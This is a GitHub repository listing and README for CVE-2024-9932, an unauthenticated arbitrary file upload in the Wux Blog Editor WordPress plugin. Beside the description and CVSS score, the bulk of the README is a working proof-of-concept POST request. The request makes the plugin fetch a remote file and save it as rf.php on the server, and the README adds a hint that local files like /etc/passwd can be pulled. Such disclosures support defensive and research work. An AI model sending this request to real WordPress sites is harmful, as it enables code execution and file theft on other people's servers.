https://github.com/randomrobbiebf/cve-2024-9932
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
https://github.com/randomrobbiebf/cve-2024-9932
Last synced: about 1 year ago
JSON representation
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2024-9932
- Owner: RandomRobbieBF
- Created: 2024-11-05T15:00:39.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-11-05T15:02:04.000Z (over 1 year ago)
- Last Synced: 2025-01-21T05:41:42.707Z (over 1 year ago)
- Size: 1.95 KB
- Stars: 4
- Watchers: 1
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# CVE-2024-9932
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
# Description:
The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possi
```
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```
POC
---
```
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"url": "https://rfi.nessus.org/rfi.txt",
"imageName": "rf.php",
"image_alt": "Description of the image",
"image_title": "Title of the image"
}
```
File ended up in /wp-content/uploads/2024/11/rf.php
You can also provide it a file location like /etc/passwd